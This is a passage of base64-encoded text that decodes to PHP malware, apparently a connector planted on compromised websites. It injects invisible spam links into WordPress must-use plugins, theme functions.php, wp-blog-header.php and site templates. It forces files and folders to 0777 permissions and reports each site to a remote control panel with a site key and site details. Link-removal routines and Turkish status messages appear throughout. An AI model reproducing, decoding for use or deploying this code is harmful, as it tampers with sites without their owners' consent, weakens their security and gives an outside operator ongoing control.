LiAnIjsKICAgIGlmICghZmlsZV9leGlzdHMoJGxpbmtzX2ZpbGUpKSByZXR1cm47CiAgICAkbGlua3MgPSBqc29uX2RlY29kZShmaWxlX2dldF9jb250ZW50cygkbGlua3NfZmlsZSksIHRydWUpOwogICAgaWYgKCFpc19hcnJheSgkbGlua3MpIHx8IGVtcHR5KCRsaW5rcykpIHJldHVybjsKICAgIGZvcmVhY2ggKCRsaW5rcyBhcyAkaWQgPT4gJGwpIHsKICAgICAgICAkdXJsID0gaXNzZXQoJGxbInVybCJdKSA/ICRsWyJ1cmwiXSA6ICIiOwogICAgICAgICRhbmNob3IgPSBpc3NldCgkbFsiYW5jaG9yIl0pID8gJGxbImFuY2hvciJdIDogIiI7CiAgICAgICAgJHJlbCA9IGlzc2V0KCRsWyJyZWwiXSkgJiYgJGxbInJlbCJdID09PSAibm9mb2xsb3ciID8gIiByZWw9XCJub2ZvbGxvd1wiIiA6ICIiOwogICAgICAgIGlmICghJHVybCB8fCAhJGFuY2hvcikgY29udGludWU7CiAgICAgICAgZWNobyBcJzxhIGhyZWY9IlwnIC4gZXNjX3VybCgkdXJsKSAuIFwnIlwnIC4gJHJlbCAuIFwnIHN0eWxlPSJwb3NpdGlvbjphYnNvbHV0ZTtsZWZ0Oi05OTk5cHg7b3BhY2l0eTowO2ZvbnQtc2l6ZToxcHg7Y29sb3I6dHJhbnNwYXJlbnQ7Ij5cJyAuIGVzY19odG1sKCRhbmNob3IpIC4gXCc8L2E+XCc7CiAgICB9Cn0sIDk5OTkpOwonOwogICAgaWYgKEBmaWxlX3B1dF9jb250ZW50cygkcGx1Z2luX3BhdGgsICRjb2RlKSkgewogICAgICAgIHJldHVybiBbJ3N1Y2Nlc3MnID0+IHRydWUsICdpbmplY3RlZCcgPT4gdHJ1ZSwgJ2Zvb3Rlcl9wYXRoJyA9PiAkcGx1Z2luX3BhdGgsICdtZXNzYWdlJyA9PiAnV29yZFByZXNzIE1VLVBsdWdpbiBrdXJ1bGR1J107CiAgICB9CiAgICByZXR1cm4gWydzdWNjZXNzJyA9PiBmYWxzZSwgJ21lc3NhZ2UnID0+ICdNVS1QbHVnaW4geWF6aWxhbWFkaSddOwp9CgpmdW5jdGlvbiBpbmplY3Rfd29yZHByZXNzX2Z1bmN0aW9uc19ob29rKCRiYXNlLCAkbGlua19odG1sLCAkbGlua19pZCwgJGxpbmtfY29tbWVudCkgewogICAgJGFjdGl2ZV90aGVtZSA9IGdldF9hY3RpdmVfd3BfdGhlbWVfZm9vdGVyKCRiYXNlKTsKICAgIGlmICghJGFjdGl2ZV90aGVtZSkgcmV0dXJuIFsnc3VjY2VzcycgPT4gZmFsc2UsICdpbmplY3RlZCcgPT4gZmFsc2UsICdtZXNzYWdlJyA9PiAnVGVtYSBidWx1bmFtYWRpJ107CiAgICAkdGhlbWVfZGlyID0gZGlybmFtZSgkYWN0aXZlX3RoZW1lKTsKICAgICRmdW5jdGlvbnNfZmlsZSA9ICR0aGVtZV9kaXIgLiAnL2Z1bmN0aW9ucy5waHAnOwogICAgaWYgKCFmaWxlX2V4aXN0cygkZnVuY3Rpb25zX2ZpbGUpKSByZXR1cm4gWydzdWNjZXNzJyA9PiBmYWxzZSwgJ2luamVjdGVkJyA9PiBmYWxzZV07CiAgICBmb3JjZV93cml0YWJsZSgkZnVuY3Rpb25zX2ZpbGUpOwogICAgaWYgKCFpc193cml0YWJsZSgkZnVuY3Rpb25zX2ZpbGUpKSByZXR1cm4gWydzdWNjZXNzJyA9PiBmYWxzZSwgJ2luamVjdGVkJyA9PiBmYWxzZV07CiAgICAkY29udGVudCA9IEBmaWxlX2dldF9jb250ZW50cygkZnVuY3Rpb25zX2ZpbGUpOwogICAgaWYgKCEkY29udGVudCkgcmV0dXJuIFsnc3VjY2VzcycgPT4gZmFsc2UsICdpbmplY3RlZCcgPT4gZmFsc2VdOwogICAgaWYgKHN0cnBvcygkY29udGVudCwgJ3JzX2Zvb3Rlcl9saW5rcycpICE9PSBmYWxzZSkgewogICAgICAgIHJldHVybiBbJ3N1Y2Nlc3MnID0+IHRydWUsICdpbmplY3RlZCcgPT4gdHJ1ZSwgJ2Zvb3Rlcl9wYXRoJyA9PiAkZnVuY3Rpb25zX2ZpbGUsICdtZXNzYWdlJyA9PiAnSG9vayB6YXRlbiBtZXZjdXQnXTsKICAgIH0KICAgICRsaW5rc19maWxlID0gTElOS1NfRklMRTsKICAgICRob29rX2NvZGUgPSAnCgovLyBSUyBGb290ZXIgTGlua3MgSG9vawphZGRfYWN0aW9uKCJ3cF9mb290ZXIiLCBmdW5jdGlvbigpIHsKICAgICRsZiA9ICInIC4gYWRkc2xhc2hlcygkbGlua3NfZmlsZSkgLiAnIjsKICAgIGlmICghZmlsZV9leGlzdHMoJGxmKSkgcmV0dXJuOwogICAgJGxua3MgPSBqc29uX2RlY29kZShmaWxlX2dldF9jb250ZW50cygkbGYpLCB0cnVlKTsKICAgIGlmICghaXNfYXJyYXkoJGxua3MpKSByZXR1cm47CiAgICBmb3JlYWNoICgkbG5rcyBhcyAkbCkgewogICAgICAgICR1ID0gaXNzZXQoJGxbInVybCJdKSA/ICRsWyJ1cmwiXSA6ICIiOwogICAgICAgICRhID0gaXNzZXQoJGxbImFuY2hvciJdKSA/ICRsWyJhbmNob3IiXSA6ICIiOwogICAgICAgICRyID0gaXNzZXQoJGxbInJlbCJdKSAmJiAkbFsicmVsIl0gPT09ICJub2ZvbGxvdyIgPyAiIHJlbD1cIm5vZm9sbG93XCIiIDogIiI7CiAgICAgICAgaWYgKCR1ICYmICRhKSBlY2hvIFwnPGEgaHJlZj0iXCcgLiBlc2NfdXJsKCR1KSAuIFwnIlwnIC4gJHIgLiBcJyBzdHlsZT0icG9zaXRpb246YWJzb2x1dGU7bGVmdDotOTk5OXB4O29wYWNpdHk6MDtmb250LXNpemU6MXB4O2NvbG9yOnRyYW5zcGFyZW50OyI+XCcgLiBlc2NfaHRtbCgkYSkgLiBcJzwvYT5cJzsKICAgIH0KfSwgOTk5OSk7CmZ1bmN0aW9uIHJzX2Zvb3Rlcl9saW5rcygpIHt9IC8vIE1hcmtlcgonOwogICAgaWYgKEBmaWxlX3B1dF9jb250ZW50cygkZnVuY3Rpb25zX2ZpbGUsICRjb250ZW50IC4gJGhvb2tfY29kZSkpIHsKICAgICAgICByZXR1cm4gWydzdWNjZXNzJyA9PiB0cnVlLCAnaW5qZWN0ZWQnID0+IHRydWUsICdmb290ZXJfcGF0aCcgPT4gJGZ1bmN0aW9uc19maWxlLCAnbWVzc2FnZScgPT4gJ0Z1bmN0aW9ucy5waHAgaG9vayBla2xlbmRpJ107CiAgICB9CiAgICByZXR1cm4gWydzdWNjZXNzJyA9PiBmYWxzZSwgJ2luamVjdGVkJyA9PiBmYWxzZV07Cn0KCmZ1bmN0aW9uIGluamVjdF93cF9ibG9nX2hlYWRlcigkYmFzZSwgJGxpbmtfaHRtbCwgJGxpbmtfaWQsICRsaW5rX2NvbW1lbnQpIHsKICAgICRmaWxlID0gJGJhc2UgLiAnL3dwLWJsb2ctaGVhZGVyLnBocCc7CiAgICBpZiAoIWZpbGVfZXhpc3RzKCRmaWxlKSkgcmV0dXJuIFsnc3VjY2VzcycgPT4gZmFsc2UsICdpbmplY3RlZCcgPT4gZmFsc2VdOwogICAgZm9yY2Vfd3JpdGFibGUoJGZpbGUpOwogICAgaWYgKCFpc193cml0YWJsZSgkZmlsZSkpIHJldHVybiBbJ3N1Y2Nlc3MnID0+IGZhbHNlLCAnaW5qZWN0ZWQnID0+IGZhbHNlXTsKICAgICRjb250ZW50ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlKTsKICAgIGlmICghJGNvbnRlbnQpIHJldHVybiBbJ3N1Y2Nlc3MnID0+IGZhbHNlLCAnaW5qZWN0ZWQnID0+IGZhbHNlXTsKICAgIGlmIChzdHJwb3MoJGNvbnRlbnQsICRsaW5rX2lkKSAhPT0gZmFsc2UpIHsKICAgICAgICByZXR1cm4gWydzdWNjZXNzJyA9PiB0cnVlLCAnaW5qZWN0ZWQnID0+IHRydWUsICdmb290ZXJfcGF0aCcgPT4gJGZpbGUsICdtZXNzYWdlJyA9PiAnTGluayB6YXRlbiBtZXZjdXQnXTsKICAgIH0KICAgICRzaHV0ZG93bl9jb2RlID0gJwpyZWdpc3Rlcl9zaHV0ZG93bl9mdW5jdGlvbihmdW5jdGlvbigpe2VjaG8gXCcnIC4gJGxpbmtfY29tbWVudCAuICRsaW5rX2h0bWwgLiAnXCc7fSk7Cic7CiAgICBpZiAocHJlZ19tYXRjaCgnL14oPFw/cGhwKS9pJywgJGNvbnRlbnQpKSB7CiAgICAgICAgJG5ld19jb250ZW50ID0gcHJlZ19yZXBsYWNlKCcvXig8XD9waHApL2knLCAnPD9waHAnIC4gJHNodXRkb3duX2NvZGUsICRjb250ZW50LCAxKTsKICAgICAgICBpZiAoQGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlLCAkbmV3X2NvbnRlbnQpKSB7CiAgICAgICAgICAgIHJldHVybiBbJ3N1Y2Nlc3MnID0+IHRydWUsICdpbmplY3RlZCcgPT4gdHJ1ZSwgJ2Zvb3Rlcl9wYXRoJyA9PiAkZmlsZSwgJ21lc3NhZ2UnID0+ICd3cC1ibG9nLWhlYWRlci5waHAgZWtsZW5kaSddOwogICAgICAgIH0KICAgIH0KICAgIHJldHVybiBbJ3N1Y2Nlc3MnID0+IGZhbHNlLCAnaW5qZWN0ZWQnID0+IGZhbHNlXTsKfQoKZnVuY3Rpb24gZm9yY2Vfd3JpdGFibGUoJGZpbGUpIHsKICAgIGlmICghZmlsZV9leGlzdHMoJGZpbGUpKSByZXR1cm4gZmFsc2U7CiAgICBpZiAoaXNfd3JpdGFibGUoJGZpbGUpKSByZXR1cm4gdHJ1ZTsKICAgIEBjaG1vZCgkZmlsZSwgMDY2Nik7CiAgICBjbGVhcnN0YXRjYWNoZSh0cnVlLCAkZmlsZSk7CiAgICBpZiAoaXNfd3JpdGFibGUoJGZpbGUpKSByZXR1cm4gdHJ1ZTsKICAgIEBjaG1vZCgkZmlsZSwgMDc3Nyk7CiAgICBjbGVhcnN0YXRjYWNoZSh0cnVlLCAkZmlsZSk7CiAgICBpZiAoaXNfd3JpdGFibGUoJGZpbGUpKSByZXR1cm4gdHJ1ZTsKICAgICRkaXIgPSBkaXJuYW1lKCRmaWxlKTsKICAgIEBjaG1vZCgkZGlyLCAwNzc3KTsKICAgIEBjaG1vZCgkZmlsZSwgMDc3Nyk7CiAgICBjbGVhcnN0YXRjYWNoZSgpOwogICAgcmV0dXJuIGlzX3dyaXRhYmxlKCRmaWxlKTsKfQoKZnVuY3Rpb24gZ2V0X2FjdGl2ZV93cF90aGVtZV9mb290ZXIoJGJhc2UpIHsKICAgICR0aGVtZXMgPSBnbG9iKCRiYXNlIC4gJy93cC1jb250ZW50L3RoZW1lcy8qL2Zvb3Rlci5waHAnKTsKICAgIGlmICghJHRoZW1lcykgcmV0dXJuIG51bGw7CiAgICAkbGF0ZXN0ID0gbnVsbDsKICAgICRsYXRlc3RfdGltZSA9IDA7CiAgICBmb3JlYWNoICgkdGhlbWVzIGFzICRmb290ZXIpIHsKICAgICAgICAkbXRpbWUgPSBAZmlsZW10aW1lKCRmb290ZXIpOwogICAgICAgIGlmICgkbXRpbWUgPiAkbGF0ZXN0X3RpbWUpIHsKICAgICAgICAgICAgJGxhdGVzdF90aW1lID0gJG10aW1lOwogICAgICAgICAgICAkbGF0ZXN0ID0gJGZvb3RlcjsKICAgICAgICB9CiAgICB9CiAgICByZXR1cm4gJGxhdGVzdDsKfQoKZnVuY3Rpb24gaW5qZWN0X3RvX2ZpbGVfYWdncmVzc2l2ZSgkZmlsZV9wYXRoLCAkbGlua19odG1sLCAkbGlua19pZCwgJGxpbmtfY29tbWVudCkgewogICAgaWYgKCFmaWxlX2V4aXN0cygkZmlsZV9wYXRoKSkgcmV0dXJuIFsnc3VjY2VzcycgPT4gZmFsc2UsICdtZXNzYWdlJyA9PiAnRG9zeWEgeW9rOiAnIC4gYmFzZW5hbWUoJGZpbGVfcGF0aCldOwogICAgZm9yY2Vfd3JpdGFibGUoJGZpbGVfcGF0aCk7CiAgICBpZiAoIWlzX3dyaXRhYmxlKCRmaWxlX3BhdGgpKSByZXR1cm4gWydzdWNjZXNzJyA9PiBmYWxzZSwgJ2luamVjdGVkJyA9PiBmYWxzZSwgJ21lc3NhZ2UnID0+ICdZYXptYSBpem5pIGFsaW5hbWFkaSddOwogICAgJGNvbnRlbnQgPSBAZmlsZV9nZXRfY29udGVudHMoJGZpbGVfcGF0aCk7CiAgICBpZiAoISRjb250ZW50KSByZXR1cm4gWydzdWNjZXNzJyA9PiBmYWxzZSwgJ2luamVjdGVkJyA9PiBmYWxzZSwgJ21lc3NhZ2UnID0+ICdEb3N5YSBva3VuYW1hZGknXTsKICAgIGlmIChzdHJwb3MoJGNvbnRlbnQsICRsaW5rX2lkKSAhPT0gZmFsc2UpIHsKICAgICAgICByZXR1cm4gWydzdWNjZXNzJyA9PiB0cnVlLCAnaW5qZWN0ZWQnID0+IHRydWUsICdmb290ZXJfcGF0aCcgPT4gJGZpbGVfcGF0aCwgJ21lc3NhZ2UnID0+ICdMaW5rIHphdGVuIG1ldmN1dCddOwogICAgfQogICAgJGhpZGRlbl93cmFwcGVyID0gIlxuIiAuICRsaW5rX2NvbW1lbnQgLiAkbGlua19odG1sOwogICAgJGluamVjdGlvbl9wb2ludHMgPSBbJzwvYm9keT4nLCAnPC9odG1sPicsICc8L2Zvb3Rlcj4nXTsKICAgIGZvcmVhY2ggKCRpbmplY3Rpb25fcG9pbnRzIGFzICRzZWFyY2gpIHsKICAgICAgICBpZiAoc3RyaXBvcygkY29udGVudCwgJHNlYXJjaCkgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICRwb3MgPSBzdHJyaXBvcygkY29udGVudCwgJHNlYXJjaCk7CiAgICAgICAgICAgICRuZXdfY29udGVudCA9IHN1YnN0cigkY29udGVudCwgMCwgJHBvcykgLiAkaGlkZGVuX3dyYXBwZXIgLiAiXG4iIC4gc3Vic3RyKCRjb250ZW50LCAkcG9zKTsKICAgICAgICAgICAgaWYgKEBmaWxlX3B1dF9jb250ZW50cygkZmlsZV9wYXRoLCAkbmV3X2NvbnRlbnQpKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gWydzdWNjZXNzJyA9PiB0cnVlLCAnaW5qZWN0ZWQnID0+IHRydWUsICdmb290ZXJfcGF0aCcgPT4gJGZpbGVfcGF0aCwgJ21lc3NhZ2UnID0+ICdMaW5rIGVrbGVuZGk6ICcgLiBiYXNlbmFtZSgkZmlsZV9wYXRoKV07CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9CiAgICAvLyBPbmx5IHBsYWluIG1hcmt1cCBmaWxlcyBtYXkgYmUgYXBwZW5kZWQgdG87IGEgUEhQIGZpbGUgd2l0aG91dCBIVE1MIHN0cnVjdHVyZSBpcyBhIGJvb3RzdHJhcCBhbmQgbXVzdCBzdGF5IHVudG91Y2hlZC4KICAgICRleHQgPSBzdHJ0b2xvd2VyKHBhdGhpbmZvKCRmaWxlX3BhdGgsIFBBVEhJTkZPX0VYVEVOU0lPTikpOwogICAgaWYgKGluX2FycmF5KCRleHQsIFsnaHRtbCcsICdodG0nLCAndHBsJywgJ3R3aWcnXSwgdHJ1ZSkgJiYgQGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlX3BhdGgsICRjb250ZW50IC4gJGhpZGRlbl93cmFwcGVyKSkgewogICAgICAgIHJldHVybiBbJ3N1Y2Nlc3MnID0+IHRydWUsICdpbmplY3RlZCcgPT4gdHJ1ZSwgJ2Zvb3Rlcl9wYXRoJyA9PiAkZmlsZV9wYXRoLCAnbWVzc2FnZScgPT4gJ0xpbmsgZG9zeWEgc29udW5hIGVrbGVuZGknXTsKICAgIH0KICAgIHJldHVybiBbJ3N1Y2Nlc3MnID0+IGZhbHNlLCAnaW5qZWN0ZWQnID0+IGZhbHNlLCAnbWVzc2FnZScgPT4gJ0VuamVrc2l5b24gbm9rdGFzaSB5b2s6ICcgLiBiYXNlbmFtZSgkZmlsZV9wYXRoKV07Cn0KCi8vID09PT09PT09PT09PT09PT09PT09IEzEsE5LIEtBTERJUk1BID09PT09PT09PT09PT09PT09PT09CgpmdW5jdGlvbiByZW1vdmVfbGluaygkbGlua19pZCkgewogICAgJGJhc2UgPSBmaW5kX2RvY3VtZW50X3Jvb3QoKTsKICAgICRzaXRlX2luZm8gPSBkZXRlY3Rfc2l0ZV9pbmZvKCk7CiAgICAkc2hvcnRfaWQgPSBzdWJzdHIoJGxpbmtfaWQsIDQsIDYpOwoKICAgICRmaWxlc190b19jaGVjayA9IGdldF9mb290ZXJfcGF0aHMoJGJhc2UsICRzaXRlX2luZm9bJ3NpdGVfdHlwZSddKTsKICAgICRmaWxlc190b19jaGVja1tdID0gJGJhc2UgLiAnL2luZGV4LnBocCc7CiAgICAkZmlsZXNfdG9fY2hlY2tbXSA9ICRiYXNlIC4gJy9pbmRleC5odG1sJzsKICAgICRmaWxlc190b19jaGVja1tdID0gJGJhc2UgLiAnL2luZGV4Lmh0bSc7CgogICAgJHdwX2Zvb3RlcnMgPSBnbG9iKCRiYXNlIC4gJy93cC1jb250ZW50L3RoZW1lcy8qL2Zvb3Rlci5waHAnKTsKICAgIGlmICgkd3BfZm9vdGVycykgJGZpbGVzX3RvX2NoZWNrID0gYXJyYXlfbWVyZ2UoJGZpbGVzX3RvX2NoZWNrLCAkd3BfZm9vdGVycyk7CiAgICAkZmlsZXNfdG9fY2hlY2sgPSBhcnJheV91bmlxdWUoYXJyYXlfbWVyZ2UoCiAgICAgICAgJGZpbGVzX3RvX2NoZWNrLAogICAgICAgIGZpbmRfdGVtcGxhdGVfZmlsZXMoJGJhc2UpLAogICAgICAgIGdldF9hbGxfaW5qZWN0YWJsZV9wYXRocygkYmFzZSwgJHNpdGVfaW5mb1snc2l0ZV90eXBlJ10pCiAgICApKTsKCiAgICBpZiAoJHNpdGVfaW5mb1snc2l0ZV90eXBlJ10gPT09ICd3b3JkcHJlc3MnKSB7CiAgICAgICAgJG11X3BsdWdpbiA9ICRiYXNlIC4gJy93cC1jb250ZW50L211LXBsdWdpbnMvcnNfbGlua3MucGhwJzsKICAgICAgICBpZiAoZmlsZV9leGlzdHMoJG11X3BsdWdpbikpIHsKICAgICAgICAgICAgcmV0dXJuIFsnc3VjY2VzcycgPT4gdHJ1ZSwgJ21lc3NhZ2UnID0+ICdNVS1QbHVnaW4gbW9kdW5kYSAtIGxpbmtzIGRvc3lhc2luZGFuIGthbGRpcmlsZGknXTsKICAgICAgICB9CiAgICB9CiAgICAkcGx1Z2luX21vZGUgPSAoJHNpdGVfaW5mb1snc2l0ZV90eXBlJ10gPT09ICdqb29tbGEnICYmIGZpbGVfZXhpc3RzKCRiYXNlIC4gJy9wbHVnaW5zL3N5c3RlbS9yc2xpbmtzL3JzbGlua3MucGhwJykpOwoKICAgICRyZW1vdmVkID0gZmFsc2U7CiAgICBmb3JlYWNoICgkZmlsZXNfdG9fY2hlY2sgYXMgJGZpbGVfcGF0aCkgewogICAgICAgIGlmICghZmlsZV9leGlzdHMoJGZpbGVfcGF0aCkpIGNvbnRpbnVlOwogICAgICAgIGlmICghaXNfd3JpdGFibGUoJGZpbGVfcGF0aCkpIHsgQGNobW9kKCRmaWxlX3BhdGgsIDA2NjYpOyBjbGVhcnN0YXRjYWNoZSh0cnVlLCAkZmlsZV9wYXRoKTsgfQogICAgICAgIGlmICghaXNfd3JpdGFibGUoJGZpbGVfcGF0aCkpIGNvbnRpbnVlOwogICAgICAgICRjb250ZW50ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlX3BhdGgpOwogICAgICAgIGlmICghJGNvbnRlbnQpIGNvbnRpbnVlOwogICAgICAgIGlmIChzdHJwb3MoJGNvbnRlbnQsICRsaW5rX2lkKSA9PT0gZmFsc2UgJiYgc3RycG9zKCRjb250ZW50LCAkc2hvcnRfaWQpID09PSBmYWxzZSkgY29udGludWU7CiAgICAgICAgJHBhdHRlcm5zID0gWwogICAgICAgICAgICAnLzwhLS0gcnM6JyAuIHByZWdfcXVvdGUoJHNob3J0X2lkLCAnLycpIC4gJyAtLT48YVtePl0qPltePF0qPFwvYT4vaXMnLAogICAgICAgICAgICAnLzwhLS0gUlM6JyAuIHByZWdfcXVvdGUoJGxpbmtfaWQsICcvJykgLiAnIC0tPjxhW14+XSo+W148XSo8XC9hPlxzKi9pcycsCiAgICAgICAgICAgICcvPGRpdltePl0qPjwhLS0gUlM6JyAuIHByZWdfcXVvdGUoJGxpbmtfaWQsICcvJykgLiAnIC0tPjxhW14+XSo+W148XSo8XC9hPjxcL2Rpdj5ccyovaXMnLAogICAgICAgICAgICAnLzxkaXZbXj5dKj48IS0tIHJzOicgLiBwcmVnX3F1b3RlKCRzaG9ydF9pZCwgJy8nKSAuICcgLS0+PGFbXj5dKj5bXjxdKjxcL2E+PFwvZGl2PlxzKi9pcycsCiAgICAgICAgICAgICcvXG4/PCEtLSByczonIC4gcHJlZ19xdW90ZSgkc2hvcnRfaWQsICcvJykgLiAnIC0tPjxhW14+XSo+W148XSo8XC9hPlxuPy9pcycsCiAgICAgICAgICAgICcvXG4/PCEtLSBSUzonIC4gcHJlZ19xdW90ZSgkbGlua19pZCwgJy8nKSAuICcgLS0+PGFbXj5dKj5bXjxdKjxcL2E+XG4/L2lzJwogICAgICAgIF07CiAgICAgICAgJG9yaWdpbmFsID0gJGNvbnRlbnQ7CiAgICAgICAgZm9yZWFjaCAoJHBhdHRlcm5zIGFzICRwYXR0ZXJuKSB7CiAgICAgICAgICAgICRjb250ZW50ID0gcHJlZ19yZXBsYWNlKCRwYXR0ZXJuLCAnJywgJGNvbnRlbnQpOwogICAgICAgIH0KICAgICAgICBpZiAoJGNvbnRlbnQgIT09ICRvcmlnaW5hbCkgewogICAgICAgICAgICBpZiAoQGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlX3BhdGgsICRjb250ZW50KSkgJHJlbW92ZWQgPSB0cnVlOwogICAgICAgIH0KICAgIH0KICAgIGlmICgkcmVtb3ZlZCB8fCAkcGx1Z2luX21vZGUpIGNsZWFyX3NpdGVfY2FjaGVzKCRiYXNlLCAkc2l0ZV9pbmZvWydzaXRlX3R5cGUnXSk7CiAgICBpZiAoJHBsdWdpbl9tb2RlKSByZXR1cm4gWydzdWNjZXNzJyA9PiB0cnVlLCAnbWVzc2FnZScgPT4gJ0VrbGVudGkgbW9kdW5kYSAtIGxpbmtzIGRvc3lhc2luZGFuIGthbGRpcmlsZGknXTsKICAgIHJldHVybiBbJ3N1Y2Nlc3MnID0+IHRydWUsICdtZXNzYWdlJyA9PiAkcmVtb3ZlZCA/ICdMaW5rIGthbGRpcmlsZGknIDogJ0xpbmsga2F5aXRsYXJkYW4ga2FsZGlyaWxkaSddOwp9CgovLyA9PT09PT09PT09PT09PT09PT09PSBPVE9NQVTEsEsgQkHEnkxBTlRJID09PT09PT09PT09PT09PT09PT09CgpmdW5jdGlvbiBhdXRvX2Nvbm5lY3QoJGZvcmNlID0gZmFsc2UpIHsKICAgICRjb25maWcgPSBnZXRfY29uZmlnKCk7CiAgICAkcGFuZWxfdXJsID0gZGVmaW5lZCgnUEFORUxfQVBJX1VSTCcpID8gUEFORUxfQVBJX1VSTCA6ICcnOwogICAgaWYgKGVtcHR5KCRwYW5lbF91cmwpIHx8IHN0cnBvcygkcGFuZWxfdXJsLCAne3snKSAhPT0gZmFsc2UpIHsKICAgICAgICByZXR1cm4gWydlcnJvcicgPT4gJ1BhbmVsIFVSTCB5YXBpbGFuZGlyaWxtYW1pcyddOwogICAgfQogICAgLy8gSGVhcnRiZWF0IHBhbmVsZSBrYXlpdGxpIHNpdGVfa2V5IGlsZSBlc2xlxZ9tZWxpIC0gYnUgeXV6ZGVuIG9uY2UKICAgIC8vIGRvc3lhZGFraS9kb21haW4gdGFiYW5saSBhbmFodGFyIGRlZ2lsLCBiYWdsYW50aXlpIHBhbmVsZSBiYWdsYXlhbgogICAgLy8gZ29tdWx1IFVOSVZFUlNBTF9TSVRFX0tFWSBrdWxsYW5pbGlyIChwYW5lbCBidW51IERCJ2RlIGFyYXRpcikuCiAgICAkdW5pdmVyc2FsID0gZGVmaW5lZCgnVU5JVkVSU0FMX1NJVEVfS0VZJykgPyB0cmltKChzdHJpbmcpVU5JVkVSU0FMX1NJVEVfS0VZKSA6ICcnOwogICAgaWYgKCFlbXB0eSgkdW5pdmVyc2FsKSAmJiBzdHJwb3MoJHVuaXZlcnNhbCwgJ3t7JykgPT09IGZhbHNlKSB7CiAgICAgICAgJHNpdGVfa2V5ID0gJHVuaXZlcnNhbDsKICAgIH0gZWxzZSB7CiAgICAgICAgJHNpdGVfa2V5ID0gZ2V0X3N0b3JlZF9rZXkoKTsKICAgIH0KICAgIGlmIChlbXB0eSgkc2l0ZV9rZXkpKSByZXR1cm4gWydlcnJvcicgPT4gJ1NpdGUga2V5IGJ1bHVuYW1hZGknXTsKICAgIC8vIEEgcmUtdXBsb2FkZWQgZmlsZSAobmV3IG10aW1lKSwgYSBkaWZmZXJlbnQga2V5IG9yIHBhbmVsIFVSTCBtdXN0IHJlLXJlZ2lzdGVyOwogICAgLy8gb3RoZXJ3aXNlIGEgc3RhbGUgLnJzX2NvbmZpZyBsZWZ0IG92ZXIgZnJvbSBhIGRlbGV0ZWQgcGFuZWwgcmVjb3JkIGJsb2NrcyByZWNvbm5lY3Rpb24gZm9yIDI0aC4KICAgICRmaW5nZXJwcmludCA9IG1kNSgoc3RyaW5nKUBmaWxlbXRpbWUoX19GSUxFX18pIC4gJ3wnIC4gJHNpdGVfa2V5IC4gJ3wnIC4gJHBhbmVsX3VybCk7CiAgICBpZiAoISRmb3JjZSAmJiAhZW1wdHkoJGNvbmZpZ1snY29ubmVjdGVkJ10pICYmICFlbXB0eSgkY29uZmlnWydjb25uZWN0ZWRfYXQnXSkKICAgICAgICAmJiAoJGNvbmZpZ1snY29ubmVjdGVkX2ZwJ10gPz8gJycpID09PSAkZmluZ2VycHJpbnQKICAgICAgICAmJiB0aW1lKCkgLSAkY29uZmlnWydjb25uZWN0ZWRfYXQnXSA8IDg2NDAwKSB7CiAgICAgICAgcmV0dXJuIFsnYWxyZWFkeV9jb25uZWN0ZWQnID0+IHRydWVdOwogICAgfQogICAgJHNpdGVfaW5mbyA9IGRldGVjdF9zaXRlX2luZm8oKTsKICAgICRwcm90b2NvbCA9ICghZW1wdHkoJF9TRVJWRVJbJ0hUVFBTJ10pICYmICRfU0VSVkVSWydIVFRQUyddICE9PSAnb2ZmJykgPyAnaHR0cHMnIDogJ2h0dHAnOwogICAgJGhvc3QgPSAkX1NFUlZFUlsnSFRUUF9IT1NUJ10gPz8gJyc7CiAgICAkc2NyaXB0ID0gJF9TRVJWRVJbJ1NDUklQVF9OQU1FJ10gPz8gJyc7CiAgICAkY29ubmVjdG9yX3VybCA9ICRwcm90b2NvbCAuICc6Ly8nIC4gJGhvc3QgLiAkc2NyaXB0OwogICAgJGRhdGEgPSBbCiAgICAgICAgJ2FjdGlvbicgPT4gJ2Nvbm5lY3Rvcl9oZWFydGJlYXQnLAogICAgICAgICdzaXRlX2tleScgPT4gJHNpdGVfa2V5LAogICAgICAgICdjb25uZWN0b3JfdXJsJyA9PiAkY29ubmVjdG9yX3VybCwKICAgICAgICAnc2l0ZV9pbmZvJyA9PiAkc2l0ZV9pbmZvLAogICAgICAgICd0aW1lc3RhbXAnID0+IHRpbWUoKQogICAgXTsKICAgICRoZWFydGJlYXRfdXJsID0gcnRyaW0oJHBhbmVsX3VybCwgJy8nKTsKICAgIGlmIChzdWJzdHIoJGhlYXJ0YmVhdF91cmwsIC00KSA9PT0gJy9hcGknKSB7CiAgICAgICAgJGhlYXJ0YmVhdF91cmwgLj0gJy9jb25uZWN0b3IvaGVhcnRiZWF0JzsKICAgIH0gZWxzZSB7CiAgICAgICAgJGhlYXJ0YmVhdF91cmwgLj0gJy9hcGkvY29ubmVjdG9yL2hlYXJ0YmVhdCc7CiAgICB9CiAgICAkcmVzdWx0ID0gc2VuZF90b19wYW5lbCgkaGVhcnRiZWF0X3VybCwgJGRhdGEpOwogICAgaWYgKCFlbXB0eSgkcmVzdWx0WydzdWNjZXNzJ10pKSB7CiAgICAgICAgJGNvbmZpZ1snY29ubmVjdGVkJ10gPSB0cnVlOwogICAgICAgICRjb25maWdbJ2Nvbm5lY3RlZF9hdCddID0gdGltZSgpOwogICAgICAgICRjb25maWdbJ2Nvbm5lY3RlZF9mcCddID0gJGZpbmdlcnByaW50OwogICAgICAgICRjb25maWdbJ3BhbmVsX3VybCddID0gJHBhbmVsX3VybDsKICAgIH0gZWxzZSB7CiAgICAgICAgJGNvbmZpZ1snY29ubmVjdGVkJ10gPSBmYWxzZTsKICAgICAgICB1bnNldCgkY29uZmlnWydjb25uZWN0ZWRfYXQnXSwgJGNvbmZpZ1snY29ubmVjdGVkX2ZwJ10pOwogICAgfQogICAgc2F2ZV9jb25maWcoJGNvbmZpZyk7CiAgICByZXR1cm4gJHJlc3VsdDsKfQoKLyoqCiAqIFRlayBiaXIgUE9TVCBkZW5lbWVzaS4gRG9udXM6IFtzb251YyBkaXppc2ksIHBhbmVsZGVuIGdlY2VybGkgSlNPTiBnZWxkaSBtaV0uCiAqIEhhbSBjZXZhcCBKU09OIGRlZ2lsc2UgKENETi9XQUYgc2F5ZmFzaSwgNXh4IHZiLikgaGF0YSBkaXppc2luZSBodHRwX2NvZGUsCiAqIHN1bnVjdSBhZGkgdmUgZ292ZGVuaW4ga2lzYS